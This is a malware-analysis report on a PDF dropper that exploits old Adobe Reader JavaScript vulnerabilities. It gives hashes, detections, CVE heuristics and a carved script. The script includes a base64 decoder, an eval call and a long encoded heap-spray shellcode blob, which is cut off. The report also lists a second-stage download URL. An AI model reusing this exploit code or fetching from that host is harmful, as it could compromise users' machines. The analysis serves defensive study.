PDF malware analysis — malicious · 42b20d545498fd5c

MALICIOUS

PDF

7.9 KB First seen: 2012-07-12

MD5: c256f5726e4e61ea0a30bca7daa0a649 SHA-1: a0a84181bcba2595e736fb44126995826f509e25 SHA-256: 42b20d545498fd5c17b37fec133516b46f54eb456f7908b48727d3868df49519

618 Risk Score

Malware Insights

MITRE ATT&CK

T1059.001 PowerShell T1204.002 Malicious File

The PDF file contains embedded JavaScript that is heavily obfuscated and uses custom Base64 decoding. This script exploits known Adobe Reader vulnerabilities, specifically CVE-2009-0927, CVE-2007-5659, and CVE-2008-2992, to execute a malicious payload. The ClamAV detection 'Pdf.Dropper.Agent-7254843-0' and the detection on an extracted artifact 'Js.Exploit.Shellcode-18' further confirm its malicious nature as a dropper.

Machine Learning

Nyx PDF Classifier malicious score 1.0000

Heuristics 12

Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927

PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659

PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992

PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH

A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
ClamAV: Pdf.Dropper.Agent-7254843-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Pdf.Dropper.Agent-7254843-0
Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT

One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
JavaScript action low 3 related findings PDF_JAVASCRIPT

PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER

PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.

Matched line in script

var aasd = decode64("Q25aaGNpQjBURGRHTm5aaFRFNHdkSHAwV2psd0lEMGdibVYzSUVGeWNtRjVLQ2s3Q25aaGNpQnVSRmxEWldoNmVWZG9SemxvVUZKT093cG1kVzVqZEdsdmJpQkxXR1J4VkVSQ2NVNDJjRWRsZVRkWEtIcGxhbkZOYW5CelVUWXhPVlZUVmtZc0lHNDVOMU5OU1VscVRqa3hNemczV2tvcGUzZG9hV3hsSUNoNlpXcHhUV3B3YzFFMk1UbFZVMVpHTG14bGJtZDBhQ0FxSURJZ1BDQnVPVGRUVFVsSmFrNDVNVE00TjFwS0tYdDZaV3B4VFdwd2MxRTJNVGxWVTFaR0lDczlJSHBsYW5GTmFuQnpVVFl4T1ZWVFZrWTdmWHBsYW5GTmFuQnpVVFl4T1ZWVFZrWWdQU0I2WldweFRXcHdjMUUyTVRsVlUxWkdMbk4xWW5OMGNtbHVaeWd3TENCdU9UZFRUVWx …
eval(decode64(aasd));

PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL

Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
Embedded JS stream low PDF_JS

PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL http://tt.cluboz.cn//getexe.php?spl=pdf Referenced by PDF JavaScript

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`javascript_obj0009_000.js`	pdf-javascript-stream	PDF /JS object 9 at offset 0xD6	19488 bytes
SHA-256: `ebe4a2584bf85db01533f3ebc8c51c8206c00a6890b82034d445fc9ec64329d3`
Detection ClamAV: No threats found Obfuscation or payload: likely Carved artifact contains 4 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script First 1,000 lines of the extracted script var keyStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="; function decode64(input) { var output = ""; var chr1, chr2, chr3; var enc1, enc2, enc3, enc4; var i = 0; input = input.replace(/[^A-Za-z0-9\+\/\=]/g, ""); do { enc1 = keyStr.indexOf(input.charAt(i++)); enc2 = keyStr.indexOf(input.charAt(i++)); enc3 = keyStr.indexOf(input.charAt(i++)); enc4 = keyStr.indexOf(input.charAt(i++)); chr1 = (enc1 << 2) \| (enc2 >> 4); chr2 = ((enc2 & 15) << 4) \| (enc3 >> 2); chr3 = ((enc3 & 3) << 6) \| enc4; output = output + String.fromCharCode(chr1); if (enc3 != 64) { output = output + String.fromCharCode(chr2); } if (enc4 != 64) { output = output + String.fromCharCode(chr3); } } while (i < input.length); return output; } var aasd = decode64("Q25aaGNpQjBURGRHTm5aaFRFNHdkSHAwV2psd0lEMGdibVYzSUVGeWNtRjVLQ2s3Q25aaGNpQnVSRmxEWldoNmVWZG9SemxvVUZKT093cG1kVzVqZEdsdmJpQkxXR1J4VkVSQ2NVNDJjRWRsZVRkWEtIcGxhbkZOYW5CelVUWXhPVlZUVmtZc0lHNDVOMU5OU1VscVRqa3hNemczV2tvcGUzZG9hV3hsSUNoNlpXcHhUV3B3YzFFMk1UbFZVMVpHTG14bGJtZDBhQ0FxSURJZ1BDQnVPVGRUVFVsSmFrNDVNVE00TjFwS0tYdDZaV3B4VFdwd2MxRTJNVGxWVTFaR0lDczlJSHBsYW5GTmFuQnpVVFl4T1ZWVFZrWTdmWHBsYW5GTmFuQnpVVFl4T1ZWVFZrWWdQU0I2WldweFRXcHdjMUUyTVRsVlUxWkdMbk4xWW5OMGNtbHVaeWd3TENCdU9UZFRUVWxKYWs0NU1UTTROMXBLSUM4Z01pazdDaUFnY21WMGRYSnVJSHBsYW5GTmFuQnpVVFl4T1ZWVFZrWTdmUXBtZFc1amRHbHZiaUJLZERKamFtNVdTWEJRVVVnMk5VMVZLRzEzTUdkcVpubGFOVkJ4TUZSRVpXVXBld3AyWVhJZ1RGRnZNVGR1V2tGRVVVdG9aWGxNVHlBOUlIVnVaWE5qWVhCbEtDSWxkVGt3T1RBbGRUa3dPVEFpS1RzS2RtRnlJSGhYWVdObFJsZHFjMU41TlZRMWRWZ2dQU0J0ZHpCbmFtWjVXalZRY1RCVVJHVmxJQzBnTUhnM01EQXdNREE3Q25aaGNpQlBSVWRQVlc0NVRVYzNVV3BCUzBnNUlEMGdkVzVsYzJOaGNHVW9JaVYxUVRFMk5DVjFNREF4T0NWMU1EQXdNQ1YxTkRBNFFpVjFPRUl6TUNWMU5UUTBNQ1YxTkRBNFFpVjFPRUl3TkNWMU1EUTBNQ1YxTkRBNFFpVjFNRVF3TkNWMU1EQXlNQ1YxTURBeU1DVjFOME16UkNWMU56Y3dNQ1YxTnpRd01DVjFRek13TVNWMVF6QXpNeVYxT0VJMk5DVjFNekEwTUNWMU1FTTNPQ1YxTkRBNFFpVjFPRUl3UXlWMU1VTTNNQ1YxT0VKQlJDVjFNRGcxT0NWMU1EbEZRaVYxTkRBNFFpVjFPRVF6TkNWMU4wTTBNQ1YxTlRnNFFpVjFOa0V6UXlWMU5VRTBSU1YxUlRKRU1TVjFSVEl5UWlWMVJVTTRRaVYxTkRWRE55VjFOa1V4TUNWMU5qVXlSU1YxUXpjM09DVjFNVFEwTlNWMU1ERkdSaVYxTURBd01DVjFORFZETnlWMU1EQXdNQ1YxTURBd01DVjFSVUl3TUNWMU5VRTBSaVYxT0RNMU1pVjFOVFpGUVNWMU5UVTRPU1YxTlRZeE9DVjFPRUkxTnlWMU0wTTNNeVYxTnpRNFFpVjFOemd6TXlWMVJqTXdNeVYxT0VJMU5pVjFNakEzTmlWMVJqTXdNeVYxUXprek15VjFOVEEwT1NWMVFVUTBNU1YxUmtZek15VjFNRVl6TmlWMU1UUkNSU1YxTXpnd015VjFOelJHTWlWMVF6RXdPQ1YxTUVSRFJpVjFSa0V3TXlWMVJVSTBNQ1YxTlRoRlJpVjFSamd6UWlWMVJUVTNOU1YxT0VJMVJTVjFNalEwTmlWMVF6TXdNeVYxT0VJMk5pVjFORGd3UXlWMU5UWTRRaVYxTURNeFF5VjFPRUpFTXlWMU9FRXdOQ1YxUXpNd015VjFOVVUxUmlWMVF6TTFNQ1YxTjBRNFJDVjFOVGN4UXlWMVFqZzFNaVYxUTBFek15VjFOVUk0UVNWMVFUSkZPQ1YxUmtaR1JpVjFNekpHUmlWMU9FSkRNQ1YxUmpKR055VjFORVpCUlNWMU5EVTRRaVYxUVVJeE1DVjFPVGcyTmlWMVFVSTJOaVYxUXpBek15VjFOakZDT0NWMU1EQTJOQ1YxTlRBd01DVjFOVFEyT0NWMU56STJPQ1YxTXpVMk5TVjFNVU15TkNWMU56UTJPU1YxTlRRMU1DVjFRamcxTXlWMVJrTkJRU1YxTjBNd1JDVjFOVFZHUmlWMU9ETXhPQ1YxTUVORE5DVjFRakExTUNWMU9FRTJReVYxT1RoRk1DVjFOamcxTUNWMU5rVTJSaVYxTmpReVJTVjFOelUyT0NWMU5rTTNNaVYxTlRRMlJDVjFPRVZDT0NWMU1FVTBSU1YxUmtaRlF5VjFNVGcxTlNWMVF6UTRNeVYxT1RNd1F5VjFNek0xTUNWMU5UQkRNQ1YxTlRZMU1DVjFOVFU0UWlWMU1ETXhPQ1YxTVRRMU5TVjFOVEExTWlWMU16WkNPQ1YxTWtZeFFTVjFSa1kzTUNWMU1UZzFOU1YxT0RNMVFpVjFNREEzUkNWMU1FWXdNU1YxT1VVNE5TVjFNREF3TUNWMU5rRXdNQ1YxTmpnd01DVjFNREE0TUNWMU1EQXdNQ1YxTURNMlFTVjFNREEyUVNWMU1ETTJRU1YxTURBMk9DVjFNREF3TUNWMU5UWkRNQ1YxUVRWQ09DVjFNREF4TnlWMVJrWTNReVYxTVRnMU5TVjFORFU0T1NWMU5rRXdOQ1YxTmpnd05DVjFNVEF3TUNWMU1EQXdNQ1YxTURBMk9DVjFNRGd3TUNWMU5rRXdNQ1YxUWpnd01DVjFRMEUxTkNWMU9URkJSaVYxTlRWR1JpVjFPRGt4T0NWMU1FTTBOU1YxTmtFMU1DVjFPRVF3TUNWMU1EZzBSQ1YxTmpnMU1TVjFNREF3TUNWMU1EQXdPQ1YxUmtZMU1DVjFNRFEzTlNWMU1UWkNPQ1YxUmtFMk5TVjFSa1l4TUNWMU1UZzFOU1YxT0VJMVJpVjFPRE14TnlWMU1EUkROeVYxTkVRNFFpVjFPRE13T0NWMU1EUkZPU1YxUVRkRk9DVjFNREF3TUNWMU5rRXdNQ1YxTmtFd01DVjFOa0V3TUNWMVJrWXdNQ1YxTURRM05TVjFRVU5DT0NWMVJFRXdPQ1YxUmtZM05pVjFNVGcxTlNWMU1EQTJRU1YxTkVRNFJDVjFOVEV3T0NWMU56VkdSaVYxUmtZd09DVjFNRU0zTlNWMU1EUTRNeVYxTURReU5DVjFOelZHUmlWMVFqZ3dOQ1YxTnpreFJpVjFSVGd3UVNWMU5UVkdSaVYxUmtZeE9DVjFNRFEzTlNWMVJrSkNPQ1YxUmtRNU55VjFSa1l3UmlWMU1UZzFOU1YxTkRWRE55VjFNREl3TUNWMU1EQXdNQ1YxTlRjd01DVjFRamcxTmlWMVJrVTVPQ1YxTUVVNFFTVjFOVFZHUmlWMVJVSXhPQ1YxTVRneVFTVjFSamt5UVNWMVJESkNOeVYxUWpNM055VjFORFV3TVNWMU9USTRRU1YxUVVSQ055VjFOVVExTUNWMU5qZEZOQ1YxUlRaR05TVjFNVUZETnlWMVFVSkNSaVYxTVRBeFJTVjFOelkwTWlWMVFURkJNaVYxTmpNMU5DVjFOMEl3T1NWMVFqQTRPU1YxT1RkR05DVjFOek0wUlNWMU0wWTVNeVYxT0ROR01TVjFNREEzUkNWMU56UXdNaVYxUXpjMk1DVjFNREEwTlNWMU1EQXdNU1YxTURBd01DVjFORFZETnlWMU56a3hNQ1YxTmpVeVJTVjFRemMzT0NWMU1UUTBOU1YxTURFM01pVjFNREF3TUNWMU4wUTRRaVYxTURNeE9DVjFNVFEzUkNWMU1qWkNPU1YxTURBd01DVjFPRUl3TUNWMVJrTTFOeVYxTURWRk9DVjFNREF3TUNWMVJUa3dNQ1YxUmtVM1F5VjFSa1pHUmlWMVF6QXpNeVYxTURjNFFTVjFRemhFTWlWMVF6RXpNaVYxUkRCR05pVjFRelV6TWlWMVF6SXpNaVYxUXpZek1pVjFRekJFTWlWMVF6RXdNaVYxUXpVd01pVjFRekl3TWlWMVF6WXdNaVYxUXpoRU1pVjFRekV5UVNWMVF6VXlRU1YxUkRCR05pVjFRekl5UVNWMVF6WXlRU1YxUXpCRU1pVjFRekpFTXlWMVEwRXdSaVYxTURjNE9DVjFORGswTnlWMVEwVTNOU1YxUXpORE15VjFOelEyT0NWMU56QTNOQ1YxTWtZelFTVjFOelF5UmlWMU1rVTNOQ1YxTmtNMk15VjFOakkzTlNWMU4wRTJSaVYxTmpNeVJTVjFNa1kyUlNWMU5qY3lSaVYxTnpRMk5TVjFOemcyTlNWMU1rVTJOU1YxTmpnM01DVjFNMFkzTUNWMU56QTNNeVYxTTBRMlF5VjFOalEzTUNWMU1EQTJOaUlwT3dwM2FHbHNaU0FvVEZGdk1UZHVXa0ZFVVV0b1pYbE1UeTVzWlc1bmRHZzhjMnhoWTJ0emNHRmpaU2tnVEZGdk1UZHVXa0ZFVVV0b1pYbE1UeXM5VEZGdk1UZHVXa0ZFVVV0b1pYbE1UenNLVDBWSFQxVnVPVTFITjFGcVFVdElPU0E5SUcxM01HZHFabmxhTlZCeE1GUkVaV1V1YzNWaWMzUnlhVzVuS0RBc0lHMTNNR2RxWm5sYU5WQnhNRlJFWldVcE8zMEtablZ1WTNScGIyNGdUVWxCT0RKNk1WTTFNV0ZhVXpkd1V5aGhkM1ZpUlVOTFkwdExaVkpTUkd4REtYc0tJQ0IyWVhJZ1UzZEtXSFpLTVRGTFltRnVhRkZHZUNBOUlEQjRNR013WXpCak1HTTdkbUZ5SUhNd1dXSk5kRVJvUlhJd1pqVjFjbUVnUFNCMWJtVnpZMkZ3WlNnaUpYVkJNVFkwSlhVd01ERTRKWFV3TURBd0pYVTBNRGhDSlhVNFFqTXdKWFUxTkRRd0pYVTBNRGhDSlhVNFFqQTBKWFV3TkRRd0pYVTBNRGhDSlhVd1JEQTBKWFV3TURJd0pYVXdNREl3SlhVM1F6TkVKWFUzTnpBd0pYVTNOREF3SlhWRE16QXhKWFZETURNekpYVTRRalkwSlhVek1EUXdKWFV3UXpjNEpYVTBNRGhDSlhVNFFqQkRKWFV4UXpjd0pYVTRRa0ZFSlhVd09EVTRKWFV3T1VWQ0pYVTBNRGhDSlhVNFJETTBKWFUzUXpRd0pYVTFPRGhDSlhVMlFUTkRKWFUxUVRSRkpYVkZNa1F4SlhWRk1qSkNKWFZGUXpoQ0pYVTBOVU0zSlhVMlJURXdKWFUyTlRKRkpYVkROemM0SlhVeE5EUTFKWFV3TVVaR0pYVXdNREF3SlhVME5VTTNKWFV3TURBd0pYVXdNREF3SlhWRlFqQXdKWFUxUVRSR0pYVTRNelV5SlhVMU5rVkJKWFUxTlRnNUpYVTFOakU0SlhVNFFqVTNKWFV6UXpjekpYVTNORGhDSlhVM09ETXpKWFZHTXpBekpYVTRRalUySlhVeU1EYzJKWFZHTXpBekpYVkRPVE16SlhVMU1EUTVKWFZCUkRReEpYVkdSak16SlhVd1JqTTJKWFV4TkVKRkpYVXpPREF6SlhVM05FWXlKWFZETVRBNEpYVXdSRU5HSlhWR1FUQXpKWFZGUWpRd0pYVTFPRVZHSlhWR09ETkNKWFZGTlRjMUpYVTRRalZGSlhVeU5EUTJKWFZETXpBekpYVTRRalkySlhVME9EQkRKWFUxTmpoQ0pYVXdNekZESlhVNFFrUXpKWFU0UVRBMEpYVkRNekF6SlhVMVJUVkdKWFZETXpVd0pYVTNSRGhFSlhVMU56RkRKWFZDT0RVeUpYVkRRVE16SlhVMVFqaEJKWFZCTWtVNEpYVkdSa1pHSlhVek1rWkdKWFU0UWtNd0pYVkdNa1kzSlhVMFJrRkZKWFUwTlRoQ0pYVkJRakV3SlhVNU9EWTJKWFZCUWpZMkpYVkRNRE16SlhVMk1VSTRKWFV3TURZMEpYVTFNREF3SlhVMU5EWTRKWFUzTWpZNEpYVXpOVFkxSlhVeFF6STBKWFUzTkRZNUpYVTFORFV3SlhWQ09EVXpKWFZHUTBGQkpYVTNRekJFSlhVMU5VWkdKWFU0TXpFNEpYVXdRME0wSlhWQ01EVXdKWFU0UVRaREpYVTVPRVV3SlhVMk9EVXdKWFUyUlRaR0pYVTJOREpGSlhVM05UWTRKWFUyUXpjeUpYVTFORFpFSlhVNFJVSTRKWFV3UlRSRkpYVkdSa1ZESlhVeE9EVTFKWFZETkRnekpYVTVNekJESlhVek16VXdKWFUxTUVNd0pYVTFOalV3SlhVMU5UaENKWFV3TXpFNEpYVXhORFUxSlhVMU1EVXlKWFV6TmtJNEpYVXlSakZCSlhWR1JqY3dKWFV4T0RVMUpYVTRNelZDSlhVd01EZEVKWFV3UmpBeEpYVTVSVGcxSlhVd01EQXdKWFUyUVRBd0pYVTJPREF3SlhVd01EZ3dKWFV3TURBd0pYVXdNelpCSlhVd01EWkJKWFV3TXpaQkpYVXdNRFk0SlhVd01EQXdKWFUxTmtNd0pYVkJOVUk0SlhVd01ERTNKWFZHUmpkREpYVXhPRFUxSlhVME5UZzVKWFUyUVRBMEpYVTJPREEwSlhVeE1EQXdKWFV3TURBd0pYVXdNRFk0SlhVd09EQXdKWFUyUVRBd0pYVkNPREF3SlhWRFFUVTBKWFU1TVVGR0pYVTFOVVpHSlhVNE9URTRKWFV3UXpRMUpYVTJRVFV3SlhVNFJEQXdKWFV3T0RSRUpYVTJPRFV4SlhVd01EQXdKWFV3TURBNEpYVkdSalV3SlhVd05EYzFKWFV4TmtJNEpYVkdRVFkxSlhWR1JqRXdKWFV4T0RVMUpYVTRRalZHSlhVNE16RTNKWFV3TkVNM0pYVTBSRGhDSlhVNE16QTRKWFV3TkVVNUpYVkJOMFU0SlhVd01EQXdKWFUyUVRBd0pYVTJRVEF3SlhVMlFUQXdKWFZHUmpBd0pYVXdORGMxSlhWQlEwSTRKWFZFUVRBNEpYVkdSamMySlhVeE9EVTFKWFV3TURaQkpYVTBSRGhFSlhVMU1UQTRKWFUzTlVaR0pYVkdSakE0SlhVd1F6YzFKWFV3TkRnekpYVXdOREkwSlhVM05VWkdKWFZDT0RBMEpYVTNPVEZHSlhWRk9EQkJKWFUxTlVaR0pYVkdSakU0SlhVd05EYzFKWFZHUWtJNEpYVkdSRGszSlhWR1JqQkdKWFV4T0RVMUpYVTBOVU0zSlhVd01qQXdKWFV3TURBd0pYVTFOekF3SlhWQ09EVTJKWFZHUlRrNEpYVXdSVGhCSlhVMU5VWkdKWFZGUWpFNEpYVXhPREpCSlhWR09USkJKWFZFTWtJM0pYVkNNemMzSlhVME5UQXhKWFU1TWpoQkpYVkJSRUkzSlhVMVJEVXdKWFUyTjBVMEpYVkZOa1kxSlhVeFFVTTNKWFZCUWtKR0pYVXhNREZGSlhVM05qUXlKWFZCTVVFeUpYVTJNelUwSlhVM1FqQTVKWFZDTURnNUpYVTVOMFkwSlhVM016UkZKWFV6UmprekpYVTRNMFl4SlhVd01EZEVKWFUzTkRBeUpYVkROell3SlhVd01EUTFKWFV3TURBeEpYVXdNREF3SlhVME5VTTNKWFUzT1RFd0pYVTJOVEpGSlhWRE56YzRKWFV4TkRRMUpYVXdNVGN5SlhVd01EQXdKWFUzUkRoQ0pYVXdNekU0SlhVeE5EZEVKWFV5TmtJNUpYVXdNREF3SlhVNFFqQXdKWFZHUXpVM0pYVXdOVVU0SlhVd01EQXdKWFZGT1RBd0pYVkdSVGRESlhWR1JrWkdKWFZETURNekpYVXdOemhCSlhWRE9FUXlKWFZETVRNeUpYVkVNRVkySlhWRE5UTXlKWFZETWpNeUpYVkROak15SlhWRE1FUXlKWFZETVRBeUpYVkROVEF5SlhWRE1qQXlKWFZETmpBeUpYVkRPRVF5SlhWRE1USkJKWFZETlRKQkpYVkVNRVkySlhWRE1qSkJKWFZETmpKQkpYVkRNRVF5SlhWRE1rUXpKWFZEUVRCR0pYVXdOemc0SlhVME9UUTNKWFZEUlRjMUpYVkRNME16SlhVM05EWTRKWFUzTURjMEpYVXlSak5CSlhVM05ESkdKWFV5UlRjMEpYVTJRell6SlhVMk1qYzFKWFUzUVRaR0pYVTJNekpGSlhVeVJqWkZKWFUyTnpKR0pYVTNORFkxSlhVM09EWTFKWFV5UlRZMUpYVTJPRGN3SlhVelJqY3dKWFUzTURjekpYVXpSRFpESlhVMk5EY3dKWFV3TURZMklpazdhV1lnS0dGM2RXSkZRMHRqUzB0bFVsSkViRU1nUFQwZ01TbDdVM2RLV0haS01URkxZbUZ1YUZGR2VDQTlJREI0TXpBek1ETXdNekE3Y3pCWllrMTBSR2hGY2pCbU5YVnlZU0E5SUhWdVpYTmpZWEJsS0NJbGRVRXhOalFsZFRBd01UZ2xkVEF3TURBbGRUUXdPRUlsZFRoQ016QWxkVFUwTkRBbGRUUXdPRUlsZFRoQ01EUWxkVEEwTkRBbGRUUXdPRUlsZFRCRU1EUWxkVEF3TWpBbGRUQXdNakFsZFRkRE0wUWxkVGMzTURBbGRUYzBNREFsZFVNek1ERWxkVU13TXpNbGRUaENOalFsZFRNd05EQWxkVEJETnpnbGRUUXdPRUlsZFRoQ01FTWxkVEZETnpBbGRUaENRVVFsZFRBNE5UZ2xkVEE1UlVJbGRUUXdPRUlsZFRoRU16UWxkVGRETkRBbGRUVTRPRUlsZFRaQk0wTWxkVFZCTkVVbGRVVXlSREVsZFVVeU1rSWxkVVZET0VJbGRUUTFRemNsZFRaRk1UQWxkVFkxTWtVbGRVTTNOemdsZFRFME5EVWxkVEF4UmtZbGRUQXdNREFsZFRRMVF6Y2xkVEF3TURBbGRUQXdNREFsZFVWQ01EQWxkVFZCTkVZbGRUZ3pOVElsZFRVMlJVRWxkVFUxT0RrbGRUVTJNVGdsZFRoQ05UY2xkVE5ETnpNbGRUYzBPRUlsZFRjNE16TWxkVVl6TURNbGRUaENOVFlsZFRJd056WWxkVVl6TURNbGRVTTVNek1sZFRVd05Ea2xkVUZFTkRFbGRVWkdNek1sZFRCR016WWxkVEUwUWtVbGRUTTRNRE1sZFRjMFJqSWxkVU14TURnbGRUQkVRMFlsZFVaQk1ETWxkVVZDTkRBbGRUVTRSVVlsZFVZNE0wSWxkVVUxTnpVbGRUaENOVVVsZFRJME5EWWxkVU16TURNbGRUaENOallsZFRRNE1FTWxkVFUyT0VJbGRUQXpNVU1sZFRoQ1JETWxkVGhCTURRbGRVTXpNRE1sZFRWRk5VWWxkVU16TlRBbGRUZEVPRVFsZFRVM01VTWxkVUk0TlRJbGRVTkJNek1sZFRWQ09FRWxkVUV5UlRnbGRVWkdSa1lsZFRNeVJrWWxkVGhDUXpBbGRVWXlSamNsZFRSR1FVVWxkVFExT0VJbGRVRkNNVEFsZFRrNE5qWWxkVUZDTmpZbGRVTXdNek1sZFRZeFFqZ2xkVEF3TmpRbGRUVXdNREFsZFRVME5qZ2xkVGN5TmpnbGRUTTFOalVsZFRGRE1qUWxkVGMwTmprbGRUVTBOVEFsZFVJNE5UTWxkVVpEUVVFbGRUZERNRVFsZFRVMVJrWWxkVGd6TVRnbGRUQkRRelFsZFVJd05UQWxkVGhCTmtNbGRUazRSVEFsZFRZNE5UQWxkVFpGTmtZbGRUWTBNa1VsZFRjMU5qZ2xkVFpETnpJbGRUVTBOa1FsZFRoRlFqZ2xkVEJGTkVVbGRVWkdSVU1sZFRFNE5UVWxkVU0wT0RNbGRUa3pNRU1sZFRNek5UQWxkVFV3UXpBbGRUVTJOVEFsZFRVMU9FSWxkVEF6TVRnbGRURTBOVFVsZFRVd05USWxkVE0yUWpnbGRUSkdNVUVsZFVaR056QWxkVEU0TlRVbGRUZ3pOVUlsZFRBd04wUWxkVEJHTURFbGRUbEZPRFVsZFRBd01EQWxkVFpCTURBbGRUWTRNREFsZFRBd09EQWxkVEF3TURBbGRUQXpOa0VsZFRBd05rRWxkVEF6TmtFbGRUQXdOamdsZFRBd01EQWxkVFUyUXpBbGRVRTFRamdsZFRBd01UY2xkVVpHTjBNbGRURTROVFVsZFRRMU9Ea2xkVFpCTURRbGRUWTRNRFFsZFRFd01EQWxkVEF3TURBbGRUQXdOamdsZFRBNE1EQWxkVFpCTURBbGRVSTRNREFsZFVOQk5UUWxkVGt4UVVZbGRUVTFSa1lsZFRnNU1UZ2xkVEJETkRVbGRUWkJOVEFsZFRoRU1EQWxkVEE0TkVRbGRUWTROVEVsZFRBd01EQWxkVEF3TURnbGRVWkdOVEFsZFRBME56VWxkVEUyUWpnbGRVWkJOalVsZFVaR01UQWxkVEU0TlRVbGRUaENOVVlsZFRnek1UY2xkVEEwUXpjbGRUUkVPRUlsZFRnek1EZ2xkVEEwUlRrbGRVRTNSVGdsZFRBd01EQWxkVFpCTURBbGRUWkJNREFsZFRaQk1EQWxkVVpHTURBbGRUQTBOelVsZFVGRFFqZ2xkVVJCTURnbGRVWkdOellsZFRFNE5UVWxkVEF3TmtFbGRUUkVPRVFsZFRVeE1EZ2xkVGMxUmtZbGRVWkdNRGdsZFRCRE56VWxkVEEwT0RNbGRUQTBNalFsZFRjMVJrWWxkVUk0TURRbGRUYzVNVVlsZFVVNE1FRWxkVFUxUmtZbGRVWkdNVGdsZFRBME56VWxkVVpDUWpnbGRVWkVPVGNsZFVaR01FWWxkVEU0TlRVbGRUUTFRemNsZFRBeU1EQWxkVEF3TURBbGRUVTNNREFsZFVJNE5UWWxkVVpGT1RnbGRUQkZPRUVsZFRVMVJrWWxkVVZDTVRnbGRURTRNa0VsZFVZNU1rRWxkVVF5UWpjbGRVSXpOemNsZFRRMU1ERWxkVGt5T0VFbGRVRkVRamNsZFRWRU5UQWxkVFkzUlRRbGRVVTJSalVsZFRGQlF6Y2xkVUZDUWtZbGRURXdNVVVsZFRjMk5ESWxkVUV4UVRJbGRUWXpOVFFsZFRkQ01Ea2xkVUl3T0RrbGRUazNSalFsZFRjek5FVWxkVE5HT1RNbGRUZ3pSakVsZFRBd04wUWxkVGMwTURJbGRVTTNOakFsZFRBd05EVWxkVEF3TURFbGRUQXdNREFsZFRRMVF6Y2xkVGM1TVRBbGRUWTFNa1VsZFVNM056Z2xkVEUwTkRVbGRUQXhOeklsZFRBd01EQWxkVGRFT0VJbGRUQXpNVGdsZFRFME4wUWxkVEkyUWprbGRUQXdNREFsZFRoQ01EQWxkVVpETlRjbGRUQTFSVGdsZFRBd01EQWxkVVU1TURBbGRVWkZOME1sZFVaR1JrWWxkVU13TXpNbGRUQTNPRUVsZFVNNFJESWxkVU14TXpJbGRVUXdSallsZFVNMU16SWxkVU15TXpJbGRVTTJNeklsZFVNd1JESWxkVU14TURJbGRVTTFNRElsZFVNeU1ESWxkVU0yTURJbGRVTTRSRElsZFVNeE1rRWxkVU0xTWtFbGRVUXdSallsZFVNeU1rRWxkVU0yTWtFbGRVTXdSRElsZFVNeVJETWxkVU5CTUVZbGRUQTNPRGdsZFRRNU5EY2xkVU5GTnpVbGRVTXpRek1sZFRjME5qZ2xkVGN3TnpRbGRUSkdNMEVsZFRjME1rWWxkVEpGTnpRbGRUWkROak1sZFRZeU56VWxkVGRCTmtZbGRUWXpNa1VsZFRKR05rVWxkVFkzTWtZbGRUYzBOalVsZFRjNE5qVWxkVEpGTmpVbGRUWTROekFsZFROR056QWxkVGN3TnpNbGRUTkVOa01sZFRZME56QWxkVEF3TmpZaUtUdDlDaUFnWld4elpTQnBaaUFvWVhkMVlrVkRTMk5MUzJWU1VrUnNReUE5UFNBeUtYdHpNRmxpVFhSRWFFVnlNR1kxZFhKaElEMGdkVzVsYzJOaGNHVW9JaVYxUVRFMk5DVjFNREF4T0NWMU1EQXdNQ1YxTkRBNFFpVjFPRUl6TUNWMU5UUTBNQ1YxTkRBNFFpVjFPRUl3TkNWMU1EUTBNQ1YxTkRBNFFpVjFNRVF3TkNWMU1EQXlNQ1YxTURBeU1DVjFOME16UkNWMU56Y3dNQ1YxTnpRd01DVjFRek13TVNWMVF6QXpNeVYxT0VJMk5DVjFNekEwTUNWMU1FTTNPQ1YxTkRBNFFpVjFPRUl3UXlWMU1VTTNNQ1YxT0VKQlJDV